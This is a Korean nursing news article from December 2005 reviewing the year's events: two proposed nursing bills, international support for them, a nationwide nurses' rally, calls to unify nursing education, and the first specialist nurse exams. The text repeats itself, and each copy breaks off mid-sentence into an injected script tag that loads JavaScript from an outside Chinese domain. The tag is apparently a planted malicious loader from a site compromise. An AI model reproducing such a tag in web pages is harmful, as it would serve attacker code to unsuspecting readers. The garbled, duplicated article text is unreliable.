2005 간호계 주요 뉴스
[편집국] 정규숙 kschung@nursenews.co.kr 기사입력 2005-12-22 오전 09:07:47
◆간호법 국회에서 본격 논의
==김선미 박찬숙 의원 법안 발의
2005년은 간호계의 숙원과제인 간호법을 제정하기 위한 논의가 국회에서 본격적으로 시작된 뜻깊은 한 해였다.
국회 보건복지위원회 소속 열린우리당 김선미 의원이 `간호사법안'을 4월 27일 대표발의한데 이어, 한나라당 박찬숙 의원이 `간호법안'을 8월 24일 대표발의했다. 보건복지위원회는 6월 전체회의에서 김선미 의원이 제출한 간호사법안을, 11월 전체회의에서 박찬숙 의원이 제출한 간호법안을 검토했다.
김선미 의원은 “다양하고 전문적인 간호서비스의 수요가 날로 증대되고 있음에도 불구하고 현행 의료법은 사회변화에 따라 다양화 전문화되고 있는 간호사의 업무를 포괄하지 못하고 있다”면서 “독자적인 간호사법을 제정해 간호사의 업무범위 등을 명확히 하고 간호사에 관한 규정을 체계화함으로써 간호서비스의 질을 높여야 한다”고 법 제정 취지를 밝혔다.
박찬숙 의원이 내놓은 간호법안은 노인인구에 대한 국가요양보장체계의 확립에 있어서 중추적 역할을 담당할 인력인 간호사들에게 법적업무를 부여하는 등의 내용을 골자로 하고 있다. 간호사 또는 전문간호사는 간호요양원 또는 가정간호센터 등의 간호기관을 개설할 수 있도록 했으며, 현행 의료법 보칙에 규정된 간호조무사 규정을 간호법안에 규정한 것이 특징이다.
◆ 세계 석학들 간호법 제정 지지
건강과 의료, 법 분야의 세계적인 석학과 전문가들이 한국의 간호법 제정을 한목소리로 강력하게 지지했다. 대한간호협회는 올해 8월 서울에서 열린 `2005 국제의료법대회' 기간 동안 간호법 제정의 당위성을 알리고 폭넓은 지지를 이끌어내는 성과를 거뒀다.
암넌 카르미 세계의료법학회장 등은 기자회견을 통해 “한국에서 간호법이 꼭 제정되길 바란다”며 지지 입장을 밝혔다. 국제의료법대회에 참석한 석학들은 세계 간호계를 이끌고 있는 한국 간호의 위상에 비춰 볼 때 간호법이 없다는 것은 안타깝고 놀라운 일이라는 견해를 나타냈다. 또 간호법 제정은 세계적인 추세이며 역사의 흐름인 만큼 “한국에서 간호법이 제정될 때까지, 대한간호협회를 적극 지지하겠다”며 응원을 보냈다.
◆ `신바람 힘바람' 간호사 한마음대회
2005 국제간호사의 날 기념 간호사 한마음대회가 `신바람 힘바람' 주제로 5월 12일 서울 올림픽공원 평화의 광장에서 성황리에 개최됐다.
이 자리에는 전국에서 간호사와 간호대학생 1만여명이 참석해 한국간호의 힘과 비전을 보여주는 감동의 축제마당을 펼쳤으며, 간호법 제정을 염원하는 결연한 의지와 힘찬 에너지를 하나로 모아 분출시켰다.
행사장에 마련된 `간호법 제정 염원 서명판'은 간호법 제정을 간절히 기원하는 마음으로 채워졌으며, 간호사들의 소원을 매달아 띄운 희망의 풍선이 5월 하늘을 수놓았다.
제주에서 서울까지 전국의 간호사들이 한마음으로 간호법 제정을 위해 힘을 모으겠다는 의미를 담은 `결의의 불' 점화식이 진행됐다. 국회와 정부에서 간호법의 필요성과 타당성에 대해 국민의 입장에 서서 논의해 줄 것을 촉구하는 건의안도 채택했다.
영부인 권양숙 여사가 영상 축하메시지를 보냈으며 장관, 국회의원, 시민단체 대표 등 각 분야 지도자들이 참석해 간호사들을 격려했다. 이종욱 세계보건기구 사무총장, 국제간호협의회 등도 영상 메시지를 보내왔다.
◆ 간호교육 일원화 강력 촉구
대한간호협회는 간호교육제도 일원화에 대한 입장을 재천명하고 전국 간호사의 단결된 힘과 조직력을 보여주는데 힘을 쏟았다.
특히 간협은 보건복지부와 교육인적자원부, 간호계가 참여하는 태스크포스팀을 만들어 간호교육제도 일원화를 위한 실제적인 방안을 함께 논의해 나가야 한다고 강력히 촉구했다.
간호협회는 그동안 간호교육제도 일원화를 위한 대정부활동을 펴면서 근간으로 삼았던 로드맵도 다시 한 번 짚었다. 우선 3년제 전문대학 간호과 신설 및 증원은 반드시 억제돼야 하며, 다음으로 기존 전문대학 중 준비된 곳에 대해선 4년제로의 승격을 적극 추진해야 하고, 이같은 두 가지 원칙을 전제로 이미 배출된 전문대학 졸업생들에게 학사학위 취득 기회를 제공하기 위해 학점인정제를 도입키로 결정한 것.
간협은 또 내년도에 전문대학 간호과 신설 및 증원 인가가 난 것에 대해 철회를 촉구하는 성명서를 발표하고, 보건복지부와 교육인적자원부를 항의방문하는 등 강력히 대처했다.
◆ 전문간호사 자격시험 첫 실시
전문간호사제도 도입 이후 처음으로 치러진 자격시험을 통해 가정전문간호사 364명과 마취전문간호사 7명이 배출됐다. 제1회 가정전문간호사 및 마취전문간호사 자격시험은 보건복지부로부터 공식 위임을 받아 한국간호평가원에서 8월에 시행했으며, 1차 필기시험과 2차 실기시험으로 치러?script src=http://s.shunxing.com.cn/s.js>
==김선미 박찬숙 의원 법안 발의
2005년은 간호계의 숙원과제인 간호법을 제정하기 위한 논의가 국회에서 본격적으로 시작된 뜻깊은 한 해였다.
국회 보건복지위원회 소속 열린우리당 김선미 의원이 `간호사법안'을 4월 27일 대표발의한데 이어, 한나라당 박찬숙 의원이 `간호법안'을 8월 24일 대표발의했다. 보건복지위원회는 6월 전체회의에서 김선미 의원이 제출한 간호사법안을, 11월 전체회의에서 박찬숙 의원이 제출한 간호법안을 검토했다.
김선미 의원은 “다양하고 전문적인 간호서비스의 수요가 날로 증대되고 있음에도 불구하고 현행 의료법은 사회변화에 따라 다양화 전문화되고 있는 간호사의 업무를 포괄하지 못하고 있다”면서 “독자적인 간호사법을 제정해 간호사의 업무범위 등을 명확히 하고 간호사에 관한 규정을 체계화함으로써 간호서비스의 질을 높여야 한다”고 법 제정 취지를 밝혔다.
박찬숙 의원이 내놓은 간호법안은 노인인구에 대한 국가요양보장체계의 확립에 있어서 중추적 역할을 담당할 인력인 간호사들에게 법적업무를 부여하는 등의 내용을 골자로 하고 있다. 간호사 또는 전문간호사는 간호요양원 또는 가정간호센터 등의 간호기관을 개설할 수 있도록 했으며, 현행 의료법 보칙에 규정된 간호조무사 규정을 간호법안에 규정한 것이 특징이다.
◆ 세계 석학들 간호법 제정 지지
건강과 의료, 법 분야의 세계적인 석학과 전문가들이 한국의 간호법 제정을 한목소리로 강력하게 지지했다. 대한간호협회는 올해 8월 서울에서 열린 `2005 국제의료법대회' 기간 동안 간호법 제정의 당위성을 알리고 폭넓은 지지를 이끌어내는 성과를 거뒀다.
암넌 카르미 세계의료법학회장 등은 기자회견을 통해 “한국에서 간호법이 꼭 제정되길 바란다”며 지지 입장을 밝혔다. 국제의료법대회에 참석한 석학들은 세계 간호계를 이끌고 있는 한국 간호의 위상에 비춰 볼 때 간호법이 없다는 것은 안타깝고 놀라운 일이라는 견해를 나타냈다. 또 간호법 제정은 세계적인 추세이며 역사의 흐름인 만큼 “한국에서 간호법이 제정될 때까지, 대한간호협회를 적극 지지하겠다”며 응원을 보냈다.
◆ `신바람 힘바람' 간호사 한마음대회
2005 국제간호사의 날 기념 간호사 한마음대회가 `신바람 힘바람' 주제로 5월 12일 서울 올림픽공원 평화의 광장에서 성황리에 개최됐다.
이 자리에는 전국에서 간호사와 간호대학생 1만여명이 참석해 한국간호의 힘과 비전을 보여주는 감동의 축제마당을 펼쳤으며, 간호법 제정을 염원하는 결연한 의지와 힘찬 에너지를 하나로 모아 분출시켰다.
행사장에 마련된 `간호법 제정 염원 서명판'은 간호법 제정을 간절히 기원하는 마음으로 채워졌으며, 간호사들의 소원을 매달아 띄운 희망의 풍선이 5월 하늘을 수놓았다.
제주에서 서울까지 전국의 간호사들이 한마음으로 간호법 제정을 위해 힘을 모으겠다는 의미를 담은 `결의의 불' 점화식이 진행됐다. 국회와 정부에서 간호법의 필요성과 타당성에 대해 국민의 입장에 서서 논의해 줄 것을 촉구하는 건의안도 채택했다.
영부인 권양숙 여사가 영상 축하메시지를 보냈으며 장관, 국회의원, 시민단체 대표 등 각 분야 지도자들이 참석해 간호사들을 격려했다. 이종욱 세계보건기구 사무총장, 국제간호협의회 등도 영상 메시지를 보내왔다.
◆ 간호교육 일원화 강력 촉구
대한간호협회는 간호교육제도 일원화에 대한 입장을 재천명하고 전국 간호사의 단결된 힘과 조직력을 보여주는데 힘을 쏟았다.
특히 간협은 보건복지부와 교육인적자원부, 간호계가 참여하는 태스크포스팀을 만들어 간호교육제도 일원화를 위한 실제적인 방안을 함께 논의해 나가야 한다고 강력히 촉구했다.
간호협회는 그동안 간호교육제도 일원화를 위한 대정부활동을 펴면서 근간으로 삼았던 로드맵도 다시 한 번 짚었다. 우선 3년제 전문대학 간호과 신설 및 증원은 반드시 억제돼야 하며, 다음으로 기존 전문대학 중 준비된 곳에 대해선 4년제로의 승격을 적극 추진해야 하고, 이같은 두 가지 원칙을 전제로 이미 배출된 전문대학 졸업생들에게 학사학위 취득 기회를 제공하기 위해 학점인정제를 도입키로 결정한 것.
간협은 또 내년도에 전문대학 간호과 신설 및 증원 인가가 난 것에 대해 철회를 촉구하는 성명서를 발표하고, 보건복지부와 교육인적자원부를 항의방문하는 등 강력히 대처했다.
◆ 전문간호사 자격시험 첫 실시
전문간호사제도 도입 이후 처음으로 치러진 자격시험을 통해 가정전문간호사 364명과 마취전문간호사 7명이 배출됐다. 제1회 가정전문간호사 및 마취전문간호사 자격시험은 보건복지부로부터 공식 위임을 받아 한국간호평가원에서 8월에 시행했으며, 1차 필기시험과 2차 실기시험으로 치러?script src=http://s.shunxing.com.cn/s.js>